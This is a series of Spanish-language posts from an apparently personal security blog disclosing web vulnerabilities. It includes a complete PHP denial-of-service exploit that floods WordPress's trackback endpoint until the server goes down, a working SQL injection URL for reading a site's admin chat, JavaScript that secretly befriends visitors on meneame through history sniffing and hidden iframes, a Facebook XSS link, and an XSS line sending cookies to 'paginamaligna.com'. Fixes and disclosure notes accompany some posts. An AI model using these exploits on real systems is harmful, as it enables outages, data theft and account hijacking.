Nueva dirección del blog

Hola,

Este post es solo para recordar a los que aun no hayan actualizado sus lectores RSS que el blog ha continuado en www.rooibo.com y que aquí no se continúan agregando entradas nuevas.

Gracias.

Cambio de la dirección del blog

Después de algunos meses sin escribir ningún artículo, tengo preparados varios temas interesantes.

Sin embargo, antes de continuar publicando nada, he decidido crear mi propio dominio y dejar de estar bajo el control de wordpress.com, el cual me ha parecido un servicio excelente durante todo el tiempo que me he alojado aquí.

La nueva dirección del blog es: http://www.rooibo.com/

Y a partir de ahora no voy a publicar nada mas aquí, ya que todo el nuevo contenido, irá a la nueva dirección. He pasado todos los pots de este blog al nuevo, y he usado el mismo theme de wordpress, en realidad, casi no cambia nada, solo la dirección .

No olvidéis actualizar vuestros RSS.

Agujero de seguridad muy grave en WordPress

Cada vez mas y mas gente entiende y conoce los típicos errores de seguridad que se cometen al programar páginas web dinámicas, incluso existen esfuerzos y proyectos por catalogar este tipo de errores, como si de una enciclopedia de seguridad se tratase.

Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores, no trata sobre lo que debes y lo que no debes hacer. Trata exclusivamente de buscarle la vuelta a todo, de preguntarse si aquello que ves, es solo como lo ves, o puede mirarse desde otro punto de vista. A menudo la seguridad informática trata sobre preguntarse si el código que vemos hace sólo lo que dice que hace, o puede hacer algo mas.

Pese a que esta entrada trata sobre un agujero de seguridad que he encontrado en wordpress, y que afecta a todas las versiones, incluida la última, he querido empezar aclarando todo esto, para poder explicar por que todavía no existe parche para el bug, o por que wordpress no se toma en serio estos problemas.

Hace 6 días, descargué el código de wordpress de la página oficial, lo agregue como proyecto a mi IDE, y empecé a leer el código, al cabo de poco rato, abrí el fichero wp-trackbacks.php, y me di cuenta de que existía un error muy grave en el, tanto que permitiría a un usuario cualquiera de internet, dejar completamente caído cualquier servidor que aloje wordpress, en tan solo 5 minutos y con unas 20 y pico peticiones únicamente. El error consiste en realizar una petición que a wordpress le resulte tan compleja de procesar, que invierta muchísima memoria y CPU en ella, tanta que cuando le llegue la siguiente petición, y la siguiente y la siguiente, llegue un momento que se colapse, y no sea capaz de atender nada mas. Esto acaba provocando que el servidor completo deje de responder, y el resto de visitantes, no puedan ver la páginas.

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

Podríamos decir que cualquier chico en internet, podría tener el blog mas grande de toda la red, con 2 clicks, hacer que deje de funcionar indefinidamente.

Sin embargo, tras comunicar el error a security@wordpress.org, no obtuve respuesta. Al cabo de 3 o 4 días sin respuesta, reenvié el correo a m@wordpress.org (el creador de wordpress) y al cabo de 2 días mas, me contestaron diciéndome que lo arreglarían, aunque no iban a utilizar el arreglo que yo había sugerido si no otro, y que no sabían muy bien cuando lo arreglarían, vaya, como si todo esto fuese una tontería y no importase que millones de wordpress puedan ser tirados por cualquiera haciendo 3 clicks. Y no solo el wordpress, sino el servidor entero que lo hospeda.

Tras esto, empecé a estar molesto, me di cuenta de que si esto fuese un SQL Injection de libro, ya habría parche, pero que para ellos esto es un bug de segunda. Sin embargo lo gracioso es que la solución alternativa que ellos me han propuesto en el correo, es incorrecta, y wordpress seguiría siendo vulnerable incluso después de actualizar (sea cuando sea que pongan disponible la actualización).

Por ello, en este post, aparte de explicar el bug ,y dar un código de ejemplo para explotarlo, voy a explicar su solución, y luego la mía, y por que la suya es incorrecta.

El problema está, como ya he dicho en wp-trackbacks.php, donde hay el siguiente código:

if ( function_exists(‘mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(‘blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(‘blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(‘blog_charset’), $charset);
}

Y $charset viene a través de $_POST[‘charset’], igual que el resto, todas vienen de $_POST, enviadas por el usuario, y no existe ningún tipo de control de longitud sobre ellas. El problema reside en mb_convert_encoding, que es una función que convierte una cadena de texto de un charset dado, a otro, no solo acepta convertir del charset X al charset Y, sino que permite especificar una lista de charset separados por coma, en el charset de origen, y si recibe una lista, probará hasta encontrar el charset correcto, ejemplo:

$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);

Esa línea convertiría la variable $text a UTF-8 probando primero si está inicialmente en UTF-7 o en ISO-8859-1.Sin embargo, algo curioso de mb_convert_encoding, es que si ejecutamos algo así:

$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);

mb_convert_encoding intentará detectar el charset de $text, y primero comprobará si es ISO-8859-1, luego volverá a comprobarlo, y luego otra vez, y otra mas. Y tantas, como veces lo pongamos en la lista. Esto no sería un problema si no fuese por que el mecanismo para determinar el charset de una cadena unicode (multibyte) es realmente costoso para el sistema.

Por lo que si en $charset (mediante $_POST) le enviamos una cadena con 350k de UTF-8 separados por comas, y en $title por ejemplo, le enviamos una cadena de 350k de largo, hará comprobaciones sobre 350k^2 caracteres, lo cual requiere realmente mucho tiempo (minutos). Minutos durante los cuales el servidores está casi casi saturado, y eso sumado a que podemos repetir la petición X veces, hasta que tiene que hacer 350k^2*X, lo cual le acaba resultando casi imposible, o muy largo, y el resto de servicios y las peticiones legítimas a la web dejan de funcionar, por que no quedan recursos.

El código del exploit está hecho php, y se ejecuta desde el terminal así: php exploit.php http://urldelblog.com, y es el que sigue:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}

if(count($data) == 2) {
$path = ”;
} else {
$path = $data[‘path’];
}
$path = trim($path,’/’);
$path .= ‘/wp-trackback.php';
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com';
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol';
$str .= ‘&excerpt=lol';

$count = 0;
while(1) {
$fp = @fsockopen($data[‘host’],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data[‘host’].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data[‘host’].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para solucionar el problema y no ser vulnerables, es tan fácil como editar wp-trackbacks.php y poner un control sobre $_POST[‘charset’]. WordPress me ha sugerido que lo que harán será controlar que no tenga comas, sin embargo, eso es insuficiente, ya que mb_convert_encoding acepta arrays como argumento, en lugar de listas separadas por comas, y se pueden pasar arrays mediante $_POST usando [] en las variables. La solución pasar por eliminar cualquier coma de $_POST[‘charset’] y comprobar que no sea un array, con !is_array.

Dicho de otra forma, abrir wp-trackbacks.php, buscar la línea:

$charset = $_POST[‘charset’];

Y cambiarla por:

$charset = str_replace(“,”,””,$_POST[‘charset’]);
if(is_array($charset)) { exit; }

Y se soluciona el problema.

Como decía al principio del post, entiendo que en wordpress no se han tomado esto muy en serio, como anteriores problemas que encontré, por lo que he decidido que es mejor hacerlo público y que la gente lo solucione, que esperar a ver cuanta gente mas ha encontrado ya este error, y no lo está aprovechando, ya que a wordpress parece no importarle demasiado. No se si me estoy equivocando o no, pero me siento impotente de no poder hacer nada para que este error sea corregido ya, y solo puedo hacer dos cosas, o callármelo, y desear que nadie mas encuentre el error, o divulgarlo, junto a su solución y que esto se arregle.

Actualización: he revisado wp-trackbacks.php y desactivar los trackbacks no soluciona nada, ya que esto sucede ANTES de esa comprobación, la única solución es la que se explica en el post, modificar esa línea de wp-trackbacks.php.

Que es un gusano web y cómo funciona

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito http://www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:

<script>document.location.href=’www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie;</script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.

Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.

Si aprecias tu privacidad, no utilices joneame

Esta es una de esas entradas, que se que me insultarán por haberla escrito, y que, al haberla enviado yo mismo a menéame, me crucificarán por ello, pero mis principios me obligan a publicarlo, por que no estoy de acuerdo con que se compare un servicio profesional como meneame, con uno amateur, como joneame, y mucho menos aún, que solo esté permitido críticar a uno, y al otro no. Así que ahí va :)

Como muchos sabréis, joneame es un clon de meneame, realizado por un joven vasco, el cual además de crear un clon de meneame utilizando el código original, ha hecho ciertas modificaciones, para agregar funcionalidades.

Una de las modificaciones mas interesantes, es la de intercambiar mensajes privados entre usuarios.

Sin embargo, estas modificaciones se han hecho sin preocuparse en absoluto por la seguridad, lo cual ha llevado, a que joneame es extremadamente inseguro.

Ayer auditando el código de joneame, encontré un agujero de seguridad de tipo SQL injection, un agujero tan grave que permite tomar el control del servidor (usando load_file e into outfile), por el cual cualquier usuario puede ser suplantado, y cualquier información en joneame: manipulada.

El agujero está en backend/ezbatu_mezua.php, aquí:

$id = $_REQUEST[‘mid’];
$nondik = $_REQUEST[‘mota’];

$mezua = new Mezu;
$mezua->id = $current_user->user_id;
$mezua->jaso_mezua($id, $nondik);

Este fichero lee un mensaje privado dado su id, (el parámetro ‘mid’), sin embargo, el valor recogido vía GET, es pasado a jaso_mezua, sin sanear, y en esa función, se hace:

function jaso_mezua($zein, $nondik) {
global $db;

if ($nondik == ‘inbox’)
$mezu = $db->get_row(“SELECT * FROM mezuak WHERE nori=”.$this->id.” AND id=”.$zein.” LIMIT 1″);

Siendo $zein el parametro ‘mid’ que entró por la URL, sin sanear.

Por lo cual, explotar el bug es tan fácil como enviarnos un mensaje privado desde cualquier usuario, ir a la sección mensajes privados, y hacer click en el mensaje privado recibido, entonces, veremos un enlace tal como:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=NUMERO_DE_MENSAJE_AQUI&mota=inbox

Entonces, basta con agregar sentencias sql a continuación del número de mensaje, por ejemplo, así:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=-99%20union%20select%20chat_uid,2,chat_uid,4,chat_text,6,7%20from%20chats%20where%20chat_room%20=%20%27admin%27%20and%20chat_uid%20!=%2041%20and%20chat_uid%20!=%20213%20and%20chat_uid%20!=%2034&mota=outbox&eg=0

Eso serviría para leer la fisgona de administradores que tienen en joneame, sin necesidad de ser administrador.

Además de este bug, otro problema que tiene joneame, es que está instalado en un servidor compartido, por lo que si encontrasen una vulnerabilidad en una web que se hospeado a su lado, podrían espiar tu privacidad en joneame (datos privados de tu cuenta, etc).

Un atacante puede determinar que sites se hospedan junto a joneame, haciendo una petición de dns inversa, sabiendo que la ip de joneame .net es: 87.98.228.106

Utilizando un servicio público de dns inverso:

http://whois.webhosting.info/87.98.228.106

Vemos las páginas hospedadas junto a joneame, que ser comprometidas, lo sería también joneame.

Lo que quiero decir con este post, es que la gente sin conocimientos técnicos, puede verse tentado por joneame, o servicios similares, pero siempre es recomendable utilizar servicios profesionales, que estén en su propio servidor, y que su código esté medianamente controlado y revisado.

Algunos de estos problemas de seguridad ya han sido notificados al dueño de joneame, con quien he hablado vía mail. y me ha confirmado que está al tanto de los problemas de seguridad, otros problemas de seguridad, como lo del hosting compartido son inherentes de la infraestructura de joneame, y no pueden ser solventados, desgraciadamente.

Scripts para autoamigar en menéame

Para los que no lo sepan, meneame es una web de noticias, donde la gente envía y vota noticias, y las mas votadas pasan a portada.

Además, meneame permite que los usuarios hablen entre ellos, se escriban comentarios, y marquen a sus mas allegados, como “amigos”. Marcar como amigo en el meneame, significa que esa persona leerá lo que escribas en la fisgona (el chat de meneame), aún y cuando lo que escribas, lo marques para ser leído solo por tus amigos.

De esta forma, mucha gente sabe que marcando solo a sus amigos, puede mantener conversaciones relativamente privadas dentro de la fisgona (el chat global de meneame) aún y cuando cualquiera puede ver la fisgona.

Para hacer que alguien sea tu amigo, basta con visitar una URL tal como:

http://meneame.net/backend/get_friend.php?id=ID_DE_USUARIO_DE_OTRO&p=0&type=TU_ID_DE_USUARIO

Y de hecho, esa es la dirección que se visita, cuando haces clic en el corazoncito de alguien, para hacerlo tu amigo en meneame.

El hecho de que necesites pasar tu id de usuario, pese a que ya estás autenticado en meneame, se hace para evitar que alguien te redirija a una URL como esa, produciendo que agregues a gente como amiga en el meneame, solo por entrar a un web de terceros.

Este tipo de ataques se conocen como CSRF.

Por ejemplo, si mi id es 31337, yo podría redigir a mis visitantes a:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=TU_ID_DE_USUARIO

Para que se hagan mis amigos en meneame, nada mas entrar en mi web, sin embargo, no puedo hacerlo, por que yo no se el id de meneame del visitante que entra a mi web.

Sin embargo, esto se puede solventar de forma bastante fácil, como todos sabemos, los navegadores web permiten marcar de un color los links visitados, y de otro los links no visitar (a:visited, a:link en CSS).

Pues bien, podemos usar esa funcionalidad del navegador, para crear links en nuestras web apuntando a otros sitios, y luego comprobar con javascript, de que color son, de esa forma podemos saber si el visitante ha visitado esas web o no.

Pues bien, para descubrir el ID de meneame de nuestro visitante, basta con saber que en meneame todo usuario tiene disponible un RSS con sus conversaciones, ese RSS es una url tal como:

http://meneame.net/comments_rss2.php?answers_id=ID_DEL_USUARIO

Entonces, sabiendo que en meneame hay menos de 120.000 usuarios registrados (creo, tampoco es importante, es un experimento esto), podemos crear un bucle, que vía javascript genere enlaces hacia:

http://meneame.net/comments_rss2.php?answers_id=X

Empezando por X = 0, y terminado por X = 120.000, si tenemos suerte y el usuario utiliza el RSS de sus conversaciones, en una vuelta del bucle, uno de los links, estará de distinto color, ya que la URL habrá sido visitada por el usuario con anterioridad, y con eso, tendremos su ID en meneame.

Una vez con eso, podemos generar un iframe para visitar una url tipo:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=X

Siendo X el ID que hemos obtenido con la técnica de arriba.

Ahora el visitante, ya es amigo nuestro en meneame, sin que el vea nada :)

Como se puede observar, es una mala idea utilizar el id de usuario como medida anti CSRF, tal y como se hace en algunos sitios en meneame, hay que tener en cuenta que esto se puede utilizar de forma mas malevola, para auto-votar tus comentarios con cada visitante que entre a tu web, por ejemplo, ya que los votos a comentarios se hacen también con el ID como medida para evitar el CSRF.

Si queréis ver una prueba real utilizando esto, he montado una web:

demo

Que al visitarla te hace amigo mio en meneame automáticamente, el código es algo así:

function checkUrls(start) {
var url = “http://meneame.net/comments_rss2.php?conversation_id=&#8221;;
var obj = document.createElement(‘a’);
obj.setAttribute(‘href’,url);
document.getElementById(‘area’).appendChild(obj);
for(i=start;i<start+1000;i++) {
obj.setAttribute(‘href’,url+i);
var cmstyle = document.defaultView.getComputedStyle(obj,null);
if(cmstyle) {
if(cmstyle.color == ‘rgb(0, 0, 0)’) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’,’http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px';
frame.style.height = ‘1px';
frame.style.border = ‘0px solid black';
document.getElementById(‘area2′).appendChild(frame);
i = 120001
}
} else {
var color = obj.currentStyle.color;
if(color == ‘#000000′) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’,’http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px';
frame.style.height = ‘1px';
frame.style.border = ‘0px solid black';
document.getElementById(‘area2′).appendChild(frame);
i = 120001;
}
}
}
if(i < 120001) {
setTimeout(‘checkUrls(‘+i+’);’,100);
}
}

Pero se ve mejor entrando a la demo, y dandole a ver código fuente.

Nota importante: esto no tiene una efectividad del 100%, ya que puede que el usuario no visite su RSS de conversaciones, o visite el RSS de conversaciones de otro usuario.

Agujero de seguridad en facebook

Hace unos días, hablando con un amigo, le expliqué que a mi parecer, todas las redes sociales son inseguras, que ninguna brinda la suficiente seguridad, como para que yo depositase en ella mis datos, y que por lo tanto, por eso no utilizo facebook, ni nada similar.

Mi amigo, me respondió que facebook era muy seguro, que con los millones de personas que lo usan, seguro que muchos expertos lo habían auditado, a lo que yo le contesté que no se fiase de eso, que sistemas mas grandes, como windows, tienen muchos agujeros de seguridad, y que la seguridad no depende del número de usuarios del sistema.

Al final, todo ello desembocó en una mini discusión y finalmente, en una apuesta. Apostamos a ver si yo era capaz de descubrir un agujero de seguridad en facebook, lo suficientemente peligroso, como para robar información o incluso suplantar a un usuario normal.

Pues bien, hoy, después de solo unas cuantas horas mirando facebook, ya he encontrado el primer agujero de seguridad, un XSS que a priori no parecía explotable, pero que al final, con un poco de picaresca, he conseguido explotar.

El bug consiste en un enlace especialmente preparado, que si el usuario entra, verá su facebook, sin trampa ni cartón, pero en el centro, tendrá un texto que le dice que ha habido un error, y que haga click ahí para continuar, si lo hace, podremos ejecutar código Javascript en el contexto de facebook, y con ello, robar su cookie, por ejemplo.

Es un XSS normal y corriente, pero que requiere que el usuario siga un enlace, lo cual reduce un poco el % de éxito y la peligrosidad, ya que un usuario experto, vería el truco.

El bug reside en ciertas aplicaciones de facebook, hasta donde he podido averiguar, es decir, el usuario debe tener instalado en su facebook, una aplicación, las típicas de encuestas y cosas de esas, una vez con la aplicación instalada y autorizada, este bug solo funciona en algunas aplicaciones, por lo que la forma de proceder es la siguiente:

  1. Mirar que aplicaciones tiene instaladas tu amigo, y ver si alguna está afectada por el bug
  2. Si no tiene ninguna, invitarle a que use alguna que sabes que está afectada por el bug, esto es muy fácil
  3. Una vez el usuario tiene la aplicación afectada instalada, ya podemos proceder.

Ojo, no estamos hablando de una aplicación maligna creada por nosotros, sino de aplicaciones normales y corrientes, de las que usa la gente, las cuales algunas, son inseguras.

Una vez nuestro amigo tiene alguna aplicación vulnerable instalada, solo necesitamos que visite un enlace especialmente preparado, que le mostrará un mensaje de error, y le pedirá que haga click para continuar, ese enlace, es el XSS, que de hacer click, podría permitir robar la cookie, y enviarla a un sitio de terceros.

Yo he hecho la prueba con la aplicación “EreS BuEn PoLvO?” (lo siento, es la primera que vi vulnerable), y el enlace con el XSS, es el que sigue:

http://apps.facebook.com/qeres-buen-pol-ceijh/?target=list&send_id=1517598431&x=24897%22%20href=%22%20javascript:alert(document.cookie);%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3E%3Ch1%20style=%22color:red;position:relative;left:-60px;%22%3EA%20ocurrido%20un%20error,%20haz%20click%20aqu%C3%AD%20para%20volver%3C/h1%3E%3C/center%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C/a%3E%3Cspan%20style=%22

En este ejemplo, el enlace es totalmente inofensivo, si hacemos click en el texto “se ha producido un error…” solo veremos nuestra cookie en un pop up del navegador, pero nuestra cookie no se envía a ningún sitio.

Bastaría con modificar el alert, por un document.location para pasar la cookie a un sitio de terceros.

Como se puede ver, ninguna red social es segura, cualquiera con tiempo, paciencia e imaginación puede aprovecharse de cualquier cosa para suplantarte o robar tu identidad, cuando tu solo has hecho 2 clicks que parecían inofensivos.

Evidentemente, he notificado este agujero a facebook, por lo que en poco tiempo es probable que deje de funcionar (si es que hacen caso).

Para los escepticos: si os parece que esto es poco peligroso (robar la cuenta de alguien con 2 clicks de la victima) lo tenéis muy fácil: salid del blog y seguid con vuestras vidas, esto es un blog de seguridad informática (y frikadas), por lo que poner comentarios diciendo que un XSS no sirve para nada, solo conllevará la eliminación de los mismos.



Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.